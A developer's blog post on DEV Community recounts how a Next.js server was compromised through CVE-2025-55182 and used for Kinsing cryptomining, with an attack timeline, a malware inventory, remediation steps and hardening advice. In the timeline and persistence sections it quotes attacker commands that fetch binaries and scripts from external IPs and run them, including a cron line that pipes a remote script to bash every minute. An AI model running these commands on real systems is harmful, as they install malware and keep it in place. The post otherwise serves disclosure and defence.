DEV Community

Prince Raj
Prince Raj

Posted on

We Got Hacked: How CVE-2025-55182 Turned Our Next.js App Into a Crypto Mine

How We Got Exploited by CVE-2025-55182 and What We Learned

TL;DR: Our Next.js application was compromised 2 days after CVE-2025-55182 was publicly disclosed. A critical Remote Code Execution vulnerability in React Server Components allowed an attacker to deploy cryptomining malware. Full remediation took 15 minutes. Here's how it happened and how you can protect yourself.

The Call That Changed Everything

8:30 AM - Slack notification: "Admin panel is down. Gateway errors everywhere."

8:32 AM - We discovered our PM2 process list looked like a horror story:

│ 0  │ boss-backend        │ waiting │ 8450 │ 0%  │
Enter fullscreen mode Exit fullscreen mode

The backend had crashed 8,450 times. Something was seriously wrong.

Discovery: The Smoking Gun

While investigating the crash logs, our security monitor revealed something alarming that had been running undetected for ~2 days:

WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
Enter fullscreen mode Exit fullscreen mode

kdevtmpfsi - a well-known cryptominer malware signature.

Our server was being used to mine cryptocurrency. And we didn't even know it.

The Vulnerability: CVE-2025-55182

On December 3rd, a critical vulnerability (CVSS 10.0) was disclosed affecting React Server Components and Next.js:

Detail Value
CVE ID CVE-2025-55182
Affected Component React Server Components (RSC)
Affected Versions Next.js 15.x (before patches), React 19.0-19.2
Our Version Next.js 15.5.0 ❌
Attack Vector Network, No Authentication Required
CVSS Score 10.0 (Critical)

Why It's So Dangerous

The vulnerability exists in the React Server Components "Flight" protocol, which handles serialization/deserialization between server and client. Due to insecure deserialization, an attacker can craft a malicious HTTP request that executes arbitrary code on your server.

Key characteristics:

  • ✗ No authentication required
  • ✗ Works on default configurations
  • ✗ Public exploits are available
  • ✗ One request is all it takes

Your existing firewall, rate limiting, and Fail2ban rules won't help. This is an application-level vulnerability, not a network-level one.

How We Got Pwned (Timeline)

Based on log analysis, here's exactly what happened:

December 5, 2025

12:30 PM - First attack attempt logged:

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim; 
chmod +x /tmp/vim; nohup /tmp/vim > /dev/null 2>&1
Enter fullscreen mode Exit fullscreen mode

The attacker was downloading and executing a malicious binary disguised as "vim".

1:50 PM - Second wave: Botnet deployment attempts

wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh; 
chmod 777 bins.sh; ./bins.sh
Enter fullscreen mode Exit fullscreen mode

5:01 PM - The real payload: Kinsing cryptominer

wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf
Enter fullscreen mode Exit fullscreen mode

December 6, 2025

~Midnight - The cryptominer kdevtmpfsi spawns and starts consuming 352% CPU (3.5 cores)

7:04 PM - Attacker establishes persistence by installing malicious cron jobs

December 8, 2025

5:33 AM - System becomes unresponsive. Investigation begins.

What the Attacker Actually Got

After forensic analysis, we discovered:

Installed Malware

  1. Kinsing (/tmp/kinsing) - Dropper/loader
  2. Kdevtmpfsi (/tmp/kdevtmpfsi) - XMRig-based Monero cryptominer
  3. Libsystem.so (/tmp/libsystem.so) - LD_PRELOAD rootkit (process hiding)
  4. Config.json (/tmp/config.json) - Mining pool configuration

Persistence Mechanisms

The attacker added multiple cron jobs to ensure reinfection:

@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash
Enter fullscreen mode Exit fullscreen mode

That last line runs every minute - a "phone home" mechanism that ensures the malware comes back even if manually removed.

What They DIDN'T Get

✓ No data exfiltration - This was CPU theft, not data theft

✓ No root access - Attacker was limited to user-level permissions

✓ No lateral movement - Attack was isolated to this single server

The good news: This was resource consumption, not information theft. But still incredibly embarrassing.

How Our Security Failed Us

We had multiple security layers in place. They all failed:

Security Measure Why It Failed
Fail2ban Designed for brute-force attacks, not code injection
UFW Firewall Attack came through legitimate HTTPS (port 443)
Redis Auth Attack didn't target Redis, it used HTTP
Security Monitor Detected kdevtmpfsi but didn't recognize it as malware

The root cause: Over-reliance on perimeter security instead of application-level protection.

Remediation (15 Minutes)

Step 1: Kill the Malware 

sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)
Enter fullscreen mode Exit fullscreen mode

Step 2: Remove Persistence 

# Clean crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -

# Remove malware files
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json
Enter fullscreen mode Exit fullscreen mode

Step 3: Patch the Application 

cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend
Enter fullscreen mode Exit fullscreen mode

Step 4: Verify 

npm list next
# ✓ next@15.5.7 (patched version confirmed)
Enter fullscreen mode Exit fullscreen mode

Total time: ~15 minutes from discovery to full recovery.

Lessons Learned

What Went Wrong

  1. Delayed Patching - CVE disclosed Dec 3, we were exploited Dec 5 (2-day window)
  2. Incomplete Detection - Security monitor didn't recognize the malware process
  3. No Outbound Monitoring - Couldn't detect connections to mining pools
  4. Overconfidence - Assumed perimeter security was enough

What Went Right

  1. Existing Monitoring - PM2 made it obvious something was crashing repeatedly
  2. Quick Response - Once discovered, full containment in minutes
  3. Limited Damage - Resource theft, not data theft
  4. Automated Tools - PM2 and npm made recovery fast

How to Protect Yourself

Immediate Actions (Do These Now)

  1. Check Your Version 
npm list next
npm list react
npm list react-dom
Enter fullscreen mode Exit fullscreen mode

If you're on Next.js 15.x, 16.x or React 19.0-19.2, you're vulnerable.

  1. Update to Patched Versions 
npm install next@latest react@latest react-dom@latest
npm run build
Enter fullscreen mode Exit fullscreen mode
  1. Subscribe to Security Advisories
  2. Add npm audit to your CI/CD pipeline
  3. Enable Dependabot or Snyk for automated alerts
  4. Subscribe to Vercel security updates

Short-Term Protections (This Week)

  1. Enable WAF Rules
    If using Cloudflare, AWS WAF, or Vercel, enable their RSC protection rules. They've already deployed specific defenses for CVE-2025-55182.

  2. Add Dependency Scanning to CI/CD

npm audit --audit-level=high
Enter fullscreen mode Exit fullscreen mode

Fail the build if critical vulnerabilities are found.

Long-Term Improvements (This Month)

  1. Monitor Outbound Connections
    Log and alert on unusual outbound network traffic. Mining pools typically connect to known IPs.

  2. Implement CPU/Memory Limits
    Use cgroups or container limits to alert when processes exceed thresholds.

  3. File Integrity Monitoring
    Monitor /tmp and other writable directories for new executable files.

  4. Consider Containerization
    If not already done, containerizing your application provides better resource isolation and easier recovery.

Key Takeaways

  • Patch immediately - A 2-day window is all attackers need
  • Application security matters - Your firewall won't save you from RCE
  • Perimeter defense is incomplete - You need defense-in-depth
  • Detect and respond quickly - We went from compromise to recovery in 15 minutes because we had good monitoring
  • Share knowledge - Every attacker learns from every successful exploit; the community benefits from incident reports

Questions?

If you're running Next.js or React Server Components, now is the time to patch. Don't wait 2 days like we did.

Have you been affected by this vulnerability? Share your experience in the comments.

This incident report has been sanitized to protect sensitive system details while sharing valuable security lessons with the community. All infrastructure details, IP addresses of attacker infrastructure, and specific server configurations have been removed or generalized.

Top comments (3)

Collapse
 
chathunpc profile image
chathunpc •

Thanks for posting this. I faced the same issue; everyone should update the versions. @starkprince

Collapse
 
starkprince profile image
Prince Raj •

Yes, they should.

Collapse
 
just_clive profile image
Just Clive •

Great forensics! The persistence mechanisms you found (cron jobs, rootkit) are exactly why patching alone isn't enough.

I built a post-breach scanner that catches these patterns:

npm install -g @neurolint/cli
neurolint security:scan-breach . --deep

Detects: crypto miners, cron persistence, mining pool connections, rootkits.

Did you check for backdoors beyond the miner? IABs often install multiple persistence mechanisms.

github.com/Alcatecablee/Neurolint-CLI